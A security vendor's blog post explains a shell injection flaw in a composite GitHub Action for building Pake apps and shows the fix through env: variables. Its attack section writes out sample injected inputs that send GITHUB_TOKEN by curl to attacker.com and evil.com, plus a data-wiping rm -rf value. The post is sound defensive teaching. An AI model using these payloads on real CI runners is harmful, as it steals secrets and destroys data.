Back to Blog
high SEVERITY6 min read

How run-shell-injection happens in GitHub Actions and how to fix it

A high-severity shell injection vulnerability was discovered in `action.yml` at line 68, where GitHub Actions `${{ inputs.* }}` expressions were directly interpolated into `run:` shell scripts. An attacker who controls input values (like a URL or app name) could inject arbitrary shell commands into the CI runner, potentially stealing secrets and source code. The fix replaces all direct interpolations with intermediate environment variables, properly quoted to prevent injection.

O
By Orbis AppSec
Published August 15, 2026Reviewed August 15, 2026

Answer Summary

GitHub Actions shell injection (CWE-78) occurs when `${{ }}` expressions containing user-controlled `inputs` or `github` context data are directly interpolated into `run:` steps in YAML workflow/action files. The fix is to assign untrusted values to intermediate environment variables via the `env:` block and reference them as double-quoted shell variables (e.g., `"$INPUT_URL"`) in the `run:` script, preventing shell metacharacter interpretation.

Vulnerability at a Glance

cweCWE-78 (OS Command Injection)
fixUse `env:` block to pass inputs as environment variables, referenced with double-quoted shell expansion
riskArbitrary code execution on CI runner; secret and code theft
languageYAML / Bash (GitHub Actions)
root causeDirect `${{ inputs.* }}` interpolation in `run:` shell steps without sanitization
vulnerabilityGitHub Actions Shell Injection (run-shell-injection)

Introduction

In the action.yml file of a Pake application builder — a composite GitHub Action that compiles web URLs into desktop apps — we discovered a high-severity shell injection vulnerability at line 68. The "Build Pake App" step directly interpolated seven ${{ inputs.* }} expressions into a bash run: script, constructing command-line arguments without any sanitization boundary:

run: |
  ARGS=("${{ inputs.url }}")
  ARGS+=("--name" "${{ inputs.name }}")
  if [ -n "${{ inputs.icon }}" ]; then
    ARGS+=("--icon" "${{ inputs.icon }}")
  fi
  ARGS+=("--width" "${{ inputs.width }}")
  ARGS+=("--height" "${{ inputs.height }}")

Because GitHub Actions performs textual substitution of ${{ }} expressions before the shell interprets the script, any shell metacharacters in the input values become live shell syntax. For a public composite action consumed by downstream repositories, this means any user who can trigger the action with crafted inputs gains arbitrary code execution on the runner.

The Vulnerability Explained

How GitHub Actions Expression Interpolation Works

When you write ${{ inputs.url }} inside a run: block, GitHub's workflow engine replaces that token with the literal string value of the input before passing the script to bash. This is not like shell variable expansion — it's raw string concatenation into the script text.

Consider what happens if inputs.url contains:

https://example.com"; curl http://attacker.com/exfil?token=$(cat $GITHUB_TOKEN) #

After interpolation, the shell sees:

ARGS=("https://example.com"; curl http://attacker.com/exfil?token=$(cat $GITHUB_TOKEN) #")

The attacker has broken out of the string, injected an arbitrary curl command that exfiltrates the runner's GITHUB_TOKEN, and commented out the rest of the line.

Attack Scenario Specific to This Action

This action.yml is a composite action for building Pake desktop applications. An attacker could:

  1. Fork the repository or use the action in their own workflow with crafted inputs
  2. Set inputs.name to: myapp"; echo "$GITHUB_TOKEN" | base64 | curl -d @- https://evil.com/steal #
  3. The "Build Pake App" step would execute the injected command on the runner
  4. The attacker captures the GITHUB_TOKEN, any repository secrets passed to the workflow, and potentially the source code

Even the inputs.width and inputs.height fields — which appear numeric — are vulnerable because there's no type enforcement at the shell level. A value like 800"; rm -rf / # would be syntactically valid from the interpolation engine's perspective.

The Dangerous Pattern (Before Fix)

- name: Build Pake App
  shell: bash
  run: |
    ARGS=("${{ inputs.url }}")
    ARGS+=("--name" "${{ inputs.name }}")
    if [ -n "${{ inputs.icon }}" ]; then
      ARGS+=("--icon" "${{ inputs.icon }}")
    fi
    ARGS+=("--width" "${{ inputs.width }}")
    ARGS+=("--height" "${{ inputs.height }}")

Every ${{ inputs.* }} here is an injection point. Seven total injection vectors in a single step.

The Fix

The fix applies the canonical mitigation for GitHub Actions shell injection: pass untrusted data through environment variables and reference them with proper shell quoting.

After Fix

- name: Build Pake App
  id: build
  shell: bash
  env:
    INPUT_URL: ${{ inputs.url }}
    INPUT_NAME: ${{ inputs.name }}
    INPUT_ICON: ${{ inputs.icon }}
    INPUT_WIDTH: ${{ inputs.width }}
    INPUT_HEIGHT: ${{ inputs.height }}
    INPUT_DEBUG: ${{ inputs.debug }}
    INPUT_OUTPUT_DIR: ${{ inputs.output-dir }}
  run: |
    if [[ "$INPUT_OUTPUT_DIR" == *$'\n'* || "$INPUT_OUTPUT_DIR" == *$'\r'* ]]; then
      echo "❌ Output directory must not contain line breaks" >&2
      exit 1
    fi

    ARGS=("$INPUT_URL")
    ARGS+=("--name" "$INPUT_NAME")
    if [ -n "$INPUT_ICON" ]; then
      ARGS+=("--icon" "$INPUT_ICON")
    fi
    ARGS+=("--width" "$INPUT_WIDTH")
    ARGS+=("--height" "$INPUT_HEIGHT")

Why This Works

When you use env:, GitHub Actions sets the value as an actual environment variable in the runner's process environment. The shell then accesses it via $INPUT_URL — standard shell variable expansion. Crucially:

  1. No textual substitution occurs in the script: The shell receives "$INPUT_URL" as literal script text
  2. Double quotes prevent word splitting and globbing: "$INPUT_URL" is always treated as a single string, regardless of spaces or special characters in the value
  3. Shell metacharacters are not interpreted: Characters like ;, |, $(), and backticks inside the variable value remain inert data

Additional Hardening

The fix also includes:

  • Newline validation on INPUT_OUTPUT_DIR to prevent argument injection via line breaks in the $GITHUB_OUTPUT file
  • Quoting $GITHUB_PATH in the Rust installation step: echo "$HOME/.cargo/bin" >> "$GITHUB_PATH" (prevents issues if GITHUB_PATH contains spaces)
  • Safer rustup installation: Downloads to a temp file with a cleanup trap instead of piping curl directly to sh

Prevention & Best Practices

Rules for GitHub Actions Security

  1. Never use ${{ }} in run: steps with untrusted data — this includes github.event.pull_request.title, github.event.issue.body, inputs.* in reusable/composite actions, and any github.event.*.head.ref

  2. Always use env: as an intermediary:
    yaml env: UNTRUSTED_VALUE: ${{ github.event.pull_request.title }} run: echo "$UNTRUSTED_VALUE"

  3. Always double-quote environment variables in shell scripts — even if you think the value is safe

  4. Validate inputs before using them, especially for path-like values that might contain newlines (which can inject into $GITHUB_OUTPUT or $GITHUB_PATH)

  5. Use ${{ }} safely only in if: conditions, with: parameters to other actions, and env: value assignments — contexts where the value isn't interpreted as shell code

Detection Tools

  • Semgrep: Rule yaml.github-actions.security.run-shell-injection.run-shell-injection catches this exact pattern
  • CodeQL: GitHub's own actions/code-injection query
  • actionlint: Linter specifically for GitHub Actions workflows

Key Takeaways

  • Seven injection points existed in a single run: step — the inputs.url, inputs.name, inputs.icon, inputs.width, inputs.height, inputs.debug, and inputs.output-dir values were all directly interpolated into bash
  • Even "numeric" inputs like width/height are exploitable because GitHub Actions inputs are always strings with no type enforcement at the interpolation layer
  • The env: block is the security boundary — it converts dangerous textual interpolation into safe environment variable assignment
  • Composite actions are especially risky because they're designed to be consumed by other repositories, widening the attack surface to anyone who can trigger the action
  • Defensive hardening matters even without a known exploit — automated attack tooling can chain this primitive with other weaknesses to achieve full compromise

How Orbis AppSec Detected This

  • Source: User-controlled inputs.* values (specifically inputs.url, inputs.name, inputs.icon, inputs.width, inputs.height, inputs.debug, inputs.output-dir) flowing from the composite action's input definitions
  • Sink: Direct ${{ inputs.* }} interpolation in the run: step at action.yml:68, where the values become executable shell code
  • Missing control: No intermediate environment variable assignment; no quoting boundary between user data and shell syntax
  • CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
  • Fix: Replaced all seven ${{ inputs.* }} interpolations in the run: script with double-quoted environment variables populated via the env: block

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This vulnerability demonstrates how a seemingly innocuous pattern — using ${{ inputs.url }} in a bash script — creates a direct code injection vector in GitHub Actions. The fix is straightforward: use env: to bridge untrusted data into the shell environment, then reference it with proper quoting. For composite actions that are consumed by the broader community, this hardening is especially critical because any user who can trigger the action controls the input values.

If you maintain GitHub Actions workflows or composite actions, audit every run: step for direct ${{ }} interpolation of untrusted context data. The pattern is common, the fix is simple, and the risk of leaving it unfixed grows as automated exploit tooling becomes more sophisticated.

References

Frequently Asked Questions

What is GitHub Actions shell injection?

It occurs when user-controlled data from `${{ }}` expressions is directly interpolated into `run:` steps, allowing attackers to inject shell commands that execute on the CI runner.

How do you prevent shell injection in GitHub Actions?

Pass untrusted data through an `env:` block and reference it as a double-quoted environment variable (e.g., `"$MY_VAR"`) in the `run:` script instead of using `${{ }}` directly.

What CWE is GitHub Actions shell injection?

CWE-78 (Improper Neutralization of Special Elements used in an OS Command, also known as OS Command Injection).

Is input validation alone enough to prevent shell injection in Actions?

No. While input validation helps (e.g., rejecting newlines), the primary defense is avoiding direct interpolation entirely by using environment variables, which prevents shell metacharacter interpretation.

Can static analysis detect GitHub Actions shell injection?

Yes. Tools like Semgrep have specific rules (e.g., `yaml.github-actions.security.run-shell-injection.run-shell-injection`) that flag `${{ }}` usage in `run:` steps with untrusted context data.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #1353

Related Articles

medium

How GitHub Actions Mutable Action Tags Enable Supply-Chain Attacks and How to Fix Them

A GitHub Actions workflow was using `actions/checkout@v1`, a mutable tag reference that could be silently repointed by the action owner to inject malicious code. This supply-chain vulnerability was fixed by pinning the action to a specific commit SHA (`11bd71901bbe5b1630ceea73d27597364c9af683`), ensuring the workflow always executes verified, immutable code.

high

How Shell Injection in GitHub Actions happens in YAML workflows and how to fix it

A high-severity shell injection vulnerability was discovered in `.forgejo/workflows/docker.yml` where `${{github.ref}}` and `${{github.ref_name}}` were directly interpolated into a bash `run:` step. An attacker could craft malicious git reference names to inject arbitrary commands into the CI runner, potentially stealing secrets and source code. The fix moves these values into intermediate environment variables, preventing command injection.

high

How GitHub Actions Shell Injection happens in YAML workflows and how to fix it

A GitHub Actions workflow in `reusable-workflow-input-must-declare-type.yaml` was directly interpolating `${{ inputs.constraints }}` inside a `run:` shell step, creating a shell injection vulnerability. An attacker who controls the workflow input could inject arbitrary shell commands into the runner, potentially stealing secrets and source code. The fix moves the untrusted value into an intermediate environment variable, breaking the injection path entirely.

critical

How Credential Leakage in GitHub Actions Happens in Node.js and How to Fix It

A GitHub Actions workflow in Node.js was storing authentication tokens in plain variables without masking them in logs, creating a critical security risk. When debug mode was enabled or errors occurred, tokens could be exposed in console output and GitHub Actions logs. The fix uses the `setSecret()` API to automatically mask sensitive credentials throughout the execution.

high

How Dependabot Missing Cooldown Periods Happen in GitHub Actions and How to Fix It

A missing cooldown period in Dependabot configuration creates a supply chain vulnerability by allowing automatic updates to newly published packages that could be malicious or unstable. This fix adds a 7-day cooldown to the `.github/dependabot.yml` file, ensuring newly published package versions are vetted before being proposed for update. This is critical for Node.js libraries where vulnerabilities affect all downstream consumers.

high

How Command Injection happens in Node.js child_process calls and how to fix it

A high-severity command injection vulnerability was discovered in `src/collectors/git.ts`, where `execSync` was used to build a shell command by interpolating unsanitized arguments into a template string. By replacing `execSync` with `spawnSync`, the fix eliminates shell interpretation entirely, ensuring that git arguments are passed directly to the process without ever touching a shell. This change is especially important for a Node.js library, where downstream consumers may pass user-controlle